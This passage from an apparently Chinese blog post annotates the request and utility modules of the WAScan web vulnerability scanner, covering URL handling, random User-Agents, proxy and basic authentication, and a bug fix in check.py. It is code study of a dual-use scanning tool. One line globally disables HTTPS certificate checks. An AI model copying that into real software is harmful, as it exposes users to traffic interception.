class="comment"># 				  return action,query[0]  </span></div><div class="line">		<span class="comment">#                 会丢失掉 query[0] 即 POST 的参数</span></div><div class="line"></div><div class="line">	<span class="comment"># 获取绝对URL</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">absolute</span><span class="params">(self,link)</span>:</span></div><div class="line">		<span class="string">""" make absolute url """</span></div><div class="line">		link = self.check_ext(link)</div><div class="line">		parts = urlsplit(link)</div><div class="line">		<span class="comment"># urlsplit </span></div><div class="line">		scheme = ucode(parts.scheme)</div><div class="line">		netloc = ucode(parts.netloc)</div><div class="line">		path = ucode(parts.path) <span class="keyword">or</span> <span class="string">'/'</span></div><div class="line">		query = ucode(parts.query)</div><div class="line">		<span class="comment"># make </span></div><div class="line">		<span class="keyword">if</span> scheme == <span class="string">'http'</span> <span class="keyword">or</span> scheme == <span class="string">'https'</span>:</div><div class="line">			<span class="keyword">if</span> netloc != <span class="string">""</span>:</div><div class="line">				<span class="keyword">if</span> netloc <span class="keyword">in</span> self.netloc:</div><div class="line">					<span class="keyword">return</span> urlunparse((scheme,netloc,path,<span class="string">''</span>,query,<span class="string">''</span>))</div><div class="line">		<span class="comment">#</span></div><div class="line">		<span class="keyword">elif</span> link.startswith(<span class="string">'//'</span>):</div><div class="line">			<span class="keyword">if</span> netloc != <span class="string">""</span>:</div><div class="line">				<span class="keyword">if</span> self.netloc <span class="keyword">in</span> netloc:</div><div class="line">					<span class="keyword">return</span> urlunparse((self.scheme,netloc,(path <span class="keyword">or</span> <span class="string">'/'</span>),<span class="string">''</span>,query,<span class="string">''</span>))</div><div class="line">		<span class="comment">#</span></div><div class="line">		<span class="keyword">elif</span> link.startswith(<span class="string">'/'</span>):</div><div class="line">			<span class="keyword">return</span> urlunparse((self.scheme,self.netloc,path,<span class="string">''</span>,query,<span class="string">''</span>))</div><div class="line">		<span class="comment">#</span></div><div class="line">		<span class="keyword">elif</span> link.startswith(<span class="string">'?'</span>):</div><div class="line">			<span class="keyword">return</span> urlunparse((self.scheme,self.netloc,path,<span class="string">''</span>,query,<span class="string">''</span>))</div><div class="line">		<span class="comment">#</span></div><div class="line">		<span class="keyword">elif</span> link == <span class="string">""</span> <span class="keyword">or</span> link.startswith(<span class="string">'#'</span>):</div><div class="line">			<span class="keyword">return</span> self.url </div><div class="line">		<span class="comment">#</span></div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			<span class="keyword">return</span> urlunparse((self.scheme,self.netloc,path,<span class="string">''</span>,query,<span class="string">''</span>))</div></pre></td></tr></table></figure></p>
<h2 id="User-Agent：-lib-request-ragent-py"><a href="#User-Agent：-lib-request-ragent-py" class="headerlink" title="User Agent： lib/request/ragent.py"></a>User Agent： lib/request/ragent.py</h2><p>生成随机的 User-Agent。命令行选项<code>wascan.py  --ragent</code>开启。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">ragent</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">"""random agent"""</span></div><div class="line">	user_agents = ()</div><div class="line">	realpath = path.join(path.realpath(__file__).split(<span class="string">'lib'</span>)[<span class="number">0</span>],<span class="string">'lib/db/'</span>)</div><div class="line">	realpath += <span class="string">"useragent.wascan"</span></div><div class="line">	<span class="keyword">for</span> _ <span class="keyword">in</span> readfile(realpath):</div><div class="line">		user_agents += (_,)</div><div class="line">	<span class="keyword">return</span> user_agents[randint(<span class="number">0</span>,len(user_agents)<span class="number">-1</span>)]</div></pre></td></tr></table></figure></p>
<h2 id="请求：lib-requests-request-py"><a href="#请求：lib-requests-request-py" class="headerlink" title="请求：lib/requests/request.py"></a>请求：lib/requests/request.py</h2><p>基本请求。包括请求/代理认证，请求，重定向，响应的处理。</p>
<p>两个方法用于请求/代理认证<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> hasattr(ssl, <span class="string">'_create_unverified_context'</span>): </div><div class="line">    ssl._create_default_https_context = ssl._create_unverified_context</div><div class="line"></div><div class="line"><span class="comment"># BasicAuthCredentials 用来处理 认证相关的信息</span></div><div class="line"><span class="comment"># 	wascan.py --url xxx --proxy yyy --proxy-auth "root:1234"</span></div><div class="line"><span class="comment"># 	wascan.py --url xxx --auth "admin:1233"</span></div><div class="line"></div><div class="line"><span class="comment"># In [20]: creds = "admin:123"</span></div><div class="line"><span class="comment"># In [21]: BasicAuthCredentials(creds)</span></div><div class="line"><span class="comment"># Out[21]: ('admin', '123')</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">BasicAuthCredentials</span><span class="params">(creds)</span>:</span></div><div class="line">	<span class="comment"># return tuple</span></div><div class="line">	<span class="keyword">return</span> tuple(</div><div class="line">		creds.split(<span class="string">':'</span>)</div><div class="line">		)</div><div class="line"></div><div class="line"><span class="comment"># wascan.py --url xxx --scan yyy --proxy 10.10.10.10:80 </span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">ProxyDict</span><span class="params">(proxy)</span>:</span></div><div class="line">	<span class="comment"># return dict</span></div><div class="line">	<span class="keyword">return</span> &#123;</div><div class="line">		<span class="string">'http'</span>  : proxy,</div><div class="line">		<span class="string">'https'</span> : proxy</div><div class="line">	&#125;</div></pre></td></tr></table></figure></p>
<p>Request类，发送基本请求，处理头部参数，认证、代理、cookie、超时等问题。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div><div class="line">93</div><div class="line">94</div><div class="line">95</div><div class="line">96</div><div class="line">97</div><div class="line">98</div><div class="line">99</div><div class="line">100</div><div class="line">101</div><div class="line">102</div><div class="line">103</div><div class="line">104</div><div class="line">105</div><div class="line">106</div><div class="line">107</div><div class="line">108</div><div class="line">109</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Request</span><span class="params">(object)</span>:</span></div><div class="line">	<span class="string">"""docstring for Request"""</span></div><div class="line">	<span class="comment"># 接受参数</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,*kwargs)</span>:</span></div><div class="line">		self.kwargs = kwargs</div><div class="line">	</div><div class="line">	<span class="comment"># 发送请求</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">Send</span><span class="params">(self,url,method=<span class="string">"get"</span>,data=None,headers=None)</span>:</span></div><div class="line">		<span class="comment"># make a request</span></div><div class="line">		<span class="comment"># 提取各项参数 并 保存到 __dict__ ，后期进一步处理</span></div><div class="line">		_dict_ = self.kwargs[<span class="number">0</span>] <span class="comment"># self.kwargs is a tuple, select [0]</span></div><div class="line">		<span class="comment"># 获取各项值</span></div><div class="line">		auth = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"auth"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"auth"</span>]</div><div class="line">		agent = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"agent"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"agent"</span>]</div><div class="line">		proxy = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"proxy"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"proxy"</span>]</div><div class="line">		pauth = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"pauth"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"pauth"</span>]</div><div class="line">		cookie = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"cookie"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"cookie"</span>]</div><div class="line">		timeout = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"timeout"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"timeout"</span>]</div><div class="line">		redirect = <span class="keyword">True</span> <span class="keyword">if</span> <span class="string">"redirect"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"redirect"</span>]</div><div class="line">		_headers_ = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"headers"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"headers"</span>]</div><div class="line">		_data_ = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"data"</span> <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"data"</span>]</div><div class="line">		_method_ = <span class="keyword">None</span> <span class="keyword">if</span> <span class="string">"method"</span>  <span class="keyword">not</span> <span class="keyword">in</span> _dict_ <span class="keyword">else</span> _dict_[<span class="string">"method"</span>]</div><div class="line">		<span class="comment"># set method </span></div><div class="line">		<span class="keyword">if</span> method:</div><div class="line">			<span class="keyword">if</span> _method_ != <span class="keyword">None</span>:</div><div class="line">				method = _method_.upper()</div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				method = method.upper()</div><div class="line">		<span class="comment"># set data</span></div><div class="line">		<span class="keyword">if</span> data <span class="keyword">is</span> <span class="keyword">None</span>:</div><div class="line">			<span class="keyword">if</span> _data_ != <span class="keyword">None</span>:</div><div class="line">				data = _data_</div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				data = &#123;&#125;</div><div class="line">		<span class="comment"># if headers == None: headers = &#123;&#125;</span></div><div class="line">		<span class="keyword">if</span> headers <span class="keyword">is</span> <span class="keyword">None</span>: headers = &#123;&#125;</div><div class="line"></div><div class="line">		<span class="comment"># if auth == None: auth = () </span></div><div class="line">		<span class="keyword">if</span> auth <span class="keyword">is</span> <span class="keyword">None</span>: auth = ()</div><div class="line"></div><div class="line">		<span class="comment"># set request headers</span></div><div class="line">		<span class="comment"># add user-agent header value</span></div><div class="line">		<span class="keyword">if</span> <span class="string">'User-Agent'</span> <span class="keyword">not</span> <span class="keyword">in</span> headers:</div><div class="line">			headers[<span class="string">'User-Agent'</span>] = agent</div><div class="line">		<span class="comment"># _headers_ add to headers</span></div><div class="line">		<span class="keyword">if</span> isinstance(_headers_,dict):</div><div class="line">			headers.update(_headers_)</div><div class="line"></div><div class="line">		<span class="comment"># 处理 认证 、代理</span></div><div class="line">		<span class="comment"># process basic authentication</span></div><div class="line">		<span class="keyword">if</span> auth != <span class="keyword">None</span> <span class="keyword">and</span> auth != ():</div><div class="line">			<span class="keyword">if</span> <span class="string">':'</span> <span class="keyword">in</span>  auth:</div><div class="line">				authorization = (<span class="string">"%s:%s"</span>%(BasicAuthCredentials(auth))).encode(<span class="string">'base64'</span>)</div><div class="line">				headers[<span class="string">'Authorization'</span>] = <span class="string">"Basic %s"</span>%(authorization.replace(<span class="string">'\n'</span>,<span class="string">''</span>))</div><div class="line">		<span class="comment"># process proxy basic authorization</span></div><div class="line">		<span class="keyword">if</span> pauth != <span class="keyword">None</span>:</div><div class="line">			<span class="keyword">if</span> <span class="string">':'</span> <span class="keyword">in</span> pauth:</div><div class="line">				proxy_authorization = (<span class="string">"%s:%s"</span>%(BasicAuthCredentials(pauth))).encode(<span class="string">'base64'</span>)</div><div class="line">				headers[<span class="string">'Proxy-authorization'</span>] = <span class="string">"Basic %s"</span>%(proxy_authorization.replace(<span class="string">'\n'</span>,<span class="string">''</span>))</div><div class="line">		<span class="comment"># 处理 超时问题</span></div><div class="line">		<span class="comment"># process socket timeout</span></div><div class="line">		<span class="keyword">if</span> timeout != <span class="keyword">None</span>:</div><div class="line">			socket.setdefaulttimeout(timeout)</div><div class="line">		<span class="comment"># set handlers</span></div><div class="line">		<span class="comment"># handled http and https </span></div><div class="line">		handlers = [urllib2.HTTPHandler(),urllib2.HTTPSHandler()]</div><div class="line"></div><div class="line">		<span class="comment"># process cookie handler</span></div><div class="line">		<span class="keyword">if</span> <span class="string">'Cookie'</span> <span class="keyword">not</span> <span class="keyword">in</span> headers:</div><div class="line">			<span class="keyword">if</span> cookie != <span class="keyword">None</span> <span class="keyword">and</span> cookie != <span class="string">""</span>:</div><div class="line">				headers[<span class="string">'Cookie'</span>] = cookie</div><div class="line">			<span class="comment"># handlers.append(HTTPCookieProcessor(cookie))</span></div><div class="line"></div><div class="line">		<span class="comment"># process redirect</span></div><div class="line">		<span class="comment"># 处理是否跳转 ， NoRedirectHandler 定义见下</span></div><div class="line">		<span class="keyword">if</span> redirect != <span class="keyword">True</span>:</div><div class="line">			handlers.append(NoRedirectHandler)</div><div class="line"></div><div class="line">		<span class="comment"># process proxies</span></div><div class="line">		<span class="keyword">if</span> proxy:</div><div class="line">			proxies = ProxyDict(proxy)</div><div class="line">			handlers.append(urllib2.ProxyHandler(proxies))</div><div class="line"></div><div class="line">		<span class="comment"># install opener</span></div><div class="line">		opener = urllib2.build_opener(*handlers)</div><div class="line">		urllib2.install_opener(opener)</div><div class="line">		</div><div class="line">		<span class="comment"># process method</span></div><div class="line">		<span class="comment"># method get </span></div><div class="line">		<span class="keyword">if</span> method == <span class="string">"GET"</span>:</div><div class="line">			<span class="keyword">if</span> data: url = <span class="string">"%s?%s"</span>%(url,data)</div><div class="line">			req = urllib2.Request(url,headers=headers)</div><div class="line">		<span class="comment"># other methods</span></div><div class="line">		<span class="keyword">elif</span> method == <span class="string">"POST"</span>:</div><div class="line">			req = urllib2.Request(url,data=data,headers=headers)</div><div class="line">		<span class="comment"># other methods</span></div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			req = urllib2.Request(url,headers=headers)</div><div class="line">			req.get_method = <span class="keyword">lambda</span> : method</div><div class="line">		<span class="comment"># response object</span></div><div class="line">		<span class="keyword">try</span>:</div><div class="line">			resp = urllib2.urlopen(req)</div><div class="line">		<span class="keyword">except</span> urllib2.HTTPError,e:			</div><div class="line">			resp = e</div><div class="line">		<span class="keyword">except</span> socket.error,e:</div><div class="line">			exit(warn(<span class="string">'Error: %s'</span>%e))</div><div class="line">		<span class="keyword">except</span> urllib2.URLError,e:</div><div class="line">			exit(warn(<span class="string">'Error: %s'</span>%e))</div><div class="line">		<span class="keyword">return</span> ResponseObject(resp)</div></pre></td></tr></table></figure></p>
<p><code>NoRedirectHandler</code>，不进行跳转。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">NoRedirectHandler</span><span class="params">(urllib2.HTTPRedirectHandler)</span>:</span></div><div class="line">	<span class="string">"""docstring for NoRedirectHandler"""</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">http_error_302</span><span class="params">(self,req,fp,code,msg,headers)</span>:</span></div><div class="line">		<span class="keyword">pass</span></div><div class="line">	<span class="comment">#  http status code 302</span></div><div class="line">	http_error_302 = http_error_302 = http_error_302 = http_error_302</div></pre></td></tr></table></figure></p>
<p>响应处理类。获取响应内容，响应url，响应的status_code，响应的头部。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">ResponseObject</span><span class="params">(object)</span>:</span></div><div class="line">	<span class="string">"""docstring for ResponseObject"""</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,resp)</span>:</span></div><div class="line">		<span class="comment"># get content</span></div><div class="line">		self.content = resp.read()</div><div class="line">		<span class="comment"># get url </span></div><div class="line">		self.url = resp.geturl()</div><div class="line">		<span class="comment"># get status code</span></div><div class="line">		self.code = resp.getcode()</div><div class="line">		<span class="comment"># get headers</span></div><div class="line">		self.headers = resp.headers.dict</div></pre></td></tr></table></figure></p>
<h1 id="lib-utils-文件夹"><a href="#lib-utils-文件夹" class="headerlink" title="lib/utils 文件夹"></a>lib/utils 文件夹</h1><p>主要是定义一些小功能、小工具<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">│   └── utils</div><div class="line">│       ├── check.py</div><div class="line">│       ├── colors.py</div><div class="line">│       ├── dirs.py</div><div class="line">│       ├── exception.py</div><div class="line">│       ├── __init__.py</div><div class="line">│       ├── params.py</div><div class="line">│       ├── payload.py</div><div class="line">│       ├── printer.py</div><div class="line">│       ├── rand.py</div><div class="line">│       ├── readfile.py</div><div class="line">│       ├── settings.py</div><div class="line">│       ├── unicode.py</div><div class="line">│       └── usage.py</div></pre></td></tr></table></figure></p>
<h2 id="package标识：lib-utils-init-py"><a href="#package标识：lib-utils-init-py" class="headerlink" title="package标识：lib/utils/init.py"></a>package标识：lib/utils/<strong>init</strong>.py</h2><p>无，跳过</p>
<h2 id="基本检查：lib-utils-check-py"><a href="#基本检查：lib-utils-check-py" class="headerlink" title="基本检查：lib/utils/check.py"></a>基本检查：lib/utils/check.py</h2><p>如名，主要进行一些前期的检查准备。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div><div class="line">93</div><div class="line">94</div><div class="line">95</div><div class="line">96</div><div class="line">97</div><div class="line">98</div><div class="line">99</div><div class="line">100</div><div class="line">101</div><div class="line">102</div><div class="line">103</div><div class="line">104</div><div class="line">105</div><div class="line">106</div><div class="line">107</div><div class="line">108</div><div class="line">109</div><div class="line">110</div><div class="line">111</div><div class="line">112</div><div class="line">113</div><div class="line">114</div><div class="line">115</div><div class="line">116</div><div class="line">117</div><div class="line">118</div><div class="line">119</div><div class="line">120</div><div class="line">121</div><div class="line">122</div><div class="line">123</div><div class="line">124</div><div class="line">125</div><div class="line">126</div><div class="line">127</div><div class="line">128</div><div class="line">129</div><div class="line">130</div><div class="line">131</div><div class="line">132</div><div class="line">133</div><div class="line">134</div><div class="line">135</div><div class="line">136</div><div class="line">137</div><div class="line">138</div><div class="line">139</div><div class="line">140</div><div class="line">141</div><div class="line">142</div><div class="line">143</div><div class="line">144</div><div class="line">145</div><div class="line">146</div><div class="line">147</div><div class="line">148</div><div class="line">149</div><div class="line">150</div><div class="line">151</div><div class="line">152</div><div class="line">153</div><div class="line">154</div><div class="line">155</div><div class="line">156</div><div class="line">157</div><div class="line">158</div><div class="line">159</div><div class="line">160</div><div class="line">161</div><div class="line">162</div><div class="line">163</div><div class="line">164</div><div class="line">165</div><div class="line">166</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python </span></div><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line"><span class="comment">#</span></div><div class="line"><span class="comment"># @name:    Wascan - Web Application Scanner</span></div><div class="line"><span class="comment"># @repo:    https://github.com/m4ll0k/Wascan</span></div><div class="line"><span class="comment"># @author:  Momo Outaadi (M4ll0k)</span></div><div class="line"><span class="comment"># @license: See the file 'LICENSE.txt'</span></div><div class="line"></div><div class="line"><span class="keyword">from</span> re <span class="keyword">import</span> sub,I,findall</div><div class="line"><span class="keyword">from</span> lib.utils.colors <span class="keyword">import</span> *</div><div class="line"><span class="keyword">from</span> lib.utils.printer <span class="keyword">import</span> *</div><div class="line"><span class="keyword">from</span> urlparse <span class="keyword">import</span> urlsplit,urljoin</div><div class="line"><span class="keyword">from</span> lib.utils.rand <span class="keyword">import</span> r_string</div><div class="line"></div><div class="line"><span class="comment"># CPath 检查路径，用于处理 绝对/相对路径，生成完整路径</span></div><div class="line"><span class="comment"># 实际调用 urlparse 的 urljoin</span></div><div class="line"><span class="comment"># In [43]: CPath("http://www.google.com/1/aaa.html","bbbb.html")</span></div><div class="line"><span class="comment"># Out[43]: 'http://www.google.com/1/bbbb.html'</span></div><div class="line"></div><div class="line"><span class="comment"># In [44]: CPath("http://www.google.com/1/aaa.html","/2/bbbb.html")</span></div><div class="line"><span class="comment"># Out[44]: 'http://www.google.com/2/bbbb.html'</span></div><div class="line"></div><div class="line"><span class="comment"># In [45]: CPath("http://www.google.com/1/aaa.html","2/bbbb.html")</span></div><div class="line"><span class="comment"># Out[45]: 'http://www.google.com/1/2/bbbb.html'</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CPath</span><span class="params">(url,path)</span>:</span></div><div class="line">	<span class="keyword">return</span> urljoin(url,path)</div><div class="line"></div><div class="line"><span class="comment"># 生成随机参数值</span></div><div class="line"><span class="comment"># 这段代码存在bug</span></div><div class="line"><span class="comment"># In [49]: AParams("test=chybeta")</span></div><div class="line"><span class="comment"># ---------------------------------------------------------------------------</span></div><div class="line"><span class="comment"># TypeError                                 Traceback (most recent call last)</span></div><div class="line"><span class="comment"># &lt;ipython-input-49-103eb92ad1e0&gt; in &lt;module&gt;()</span></div><div class="line"><span class="comment"># ----&gt; 1 AParams("test=chybeta")</span></div><div class="line"><span class="comment"># /media/chybeta/security/tool/scanner/WAScan/lib/utils/check.py in AParams(params)</span></div><div class="line"><span class="comment">#      21                 return "%s=%s"%(params,random_string)</span></div><div class="line"><span class="comment">#      22         else:</span></div><div class="line"><span class="comment"># ---&gt; 23                 return "%s%s"%(r_string(10)).upper()</span></div><div class="line"><span class="comment">#      24         return params</span></div><div class="line"><span class="comment">#      25 </span></div><div class="line"><span class="comment"># TypeError: not enough arguments for format string</span></div><div class="line"><span class="comment"># fix bug：</span></div><div class="line"><span class="comment"># return "%s%s"%(params, random_string)</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">AParams</span><span class="params">(params)</span>:</span></div><div class="line">	random_string = <span class="string">"%s"</span>%(r_string(<span class="number">10</span>)).upper()</div><div class="line">	<span class="keyword">if</span> <span class="string">'='</span> <span class="keyword">not</span> <span class="keyword">in</span> params:</div><div class="line">		<span class="keyword">return</span> <span class="string">"%s=%s"</span>%(params,random_string)</div><div class="line">	</div><div class="line">	<span class="keyword">else</span>:</div><div class="line">		<span class="comment"># 这里如果 = 已经出现在 params 中了</span></div><div class="line">		<span class="keyword">return</span> <span class="string">"%s%s"</span>%(r_string(<span class="number">10</span>)).upper()</div><div class="line">	<span class="keyword">return</span> params</div><div class="line"></div><div class="line"><span class="comment"># CQuery 拼接 url 和 查询参数 ，主要针对 GET请求</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CQuery</span><span class="params">(url,params)</span>:</span></div><div class="line">	<span class="comment"># 生成参数值对</span></div><div class="line">	params = AParams(params)</div><div class="line">	<span class="comment"># http://test.com/?</span></div><div class="line">	<span class="keyword">if</span> url.endswith(<span class="string">'?'</span>):</div><div class="line">		<span class="comment"># 直接加上 参数</span></div><div class="line">		<span class="keyword">return</span> url+params</div><div class="line">	<span class="comment"># 如果不是</span></div><div class="line">	<span class="keyword">elif</span> <span class="keyword">not</span> url.endswith(<span class="string">'?'</span>):</div><div class="line">		<span class="comment"># http://test.com/a&amp;</span></div><div class="line">		<span class="keyword">if</span> url.endswith(<span class="string">'&amp;'</span>):</div><div class="line">			<span class="comment"># 也可以直接加上参数</span></div><div class="line">			<span class="keyword">return</span> url+params</div><div class="line">		<span class="comment"># http://test.com/?a=1 </span></div><div class="line">		<span class="keyword">elif</span> <span class="string">'?'</span> <span class="keyword">in</span> url <span class="keyword">and</span> <span class="string">'&amp;'</span> <span class="keyword">not</span> <span class="keyword">in</span> url:</div><div class="line">			<span class="comment"># 需要加上  &amp; 符号</span></div><div class="line">			<span class="keyword">return</span> url+<span class="string">'&amp;'</span>+params</div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			<span class="comment"># 其他情况，干脆直接 加 ?</span></div><div class="line">			<span class="keyword">return</span> url+<span class="string">"?"</span>+params</div><div class="line">	<span class="keyword">else</span>:</div><div class="line">		<span class="comment"># 这句话多余？？？？</span></div><div class="line">		<span class="keyword">return</span> url+<span class="string">"?"</span>+ params</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CParams</span><span class="params">(url)</span>:</span></div><div class="line">	<span class="keyword">if</span> <span class="string">'&amp;'</span> <span class="keyword">not</span> <span class="keyword">in</span> url:</div><div class="line">		url = sub(findall(<span class="string">r'\?(\S*)\='</span>,url)[<span class="number">0</span>],<span class="string">'%s%s%s'</span>%(GREEN%(<span class="number">1</span>),findall(<span class="string">r'\?(\S*)\='</span>,url)[<span class="number">0</span>],RESET),url)</div><div class="line">		<span class="keyword">return</span> url</div><div class="line">	<span class="keyword">elif</span> <span class="string">'&amp;'</span> <span class="keyword">in</span> url:</div><div class="line">		url = sub(findall(<span class="string">r'\&amp;(\S*)\='</span>,url)[<span class="number">0</span>],<span class="string">'%s%s%s'</span>%(GREEN%(<span class="number">1</span>),findall(<span class="string">r'\&amp;(\S*)\='</span>,url)[<span class="number">0</span>],RESET),url)</div><div class="line">		<span class="keyword">return</span> url </div><div class="line">	<span class="keyword">else</span>: <span class="keyword">return</span> url</div><div class="line"></div><div class="line"><span class="comment"># url检查，协议</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CUrl</span><span class="params">(url)</span>:</span></div><div class="line">	split = urlsplit(url)</div><div class="line">	<span class="comment"># check URL scheme</span></div><div class="line">	<span class="keyword">if</span> split.scheme <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">'http'</span>,<span class="string">'https'</span>,<span class="string">''</span>]:</div><div class="line">		<span class="comment"># e.g: exit if URL scheme = ftp,ssh,..etc</span></div><div class="line">		exit(less(<span class="string">'Check your URL, scheme "%s" not supported!!'</span>%(split.scheme)))</div><div class="line">	<span class="keyword">else</span>:</div><div class="line">		<span class="comment"># if URL --&gt; www.site.com</span></div><div class="line">		<span 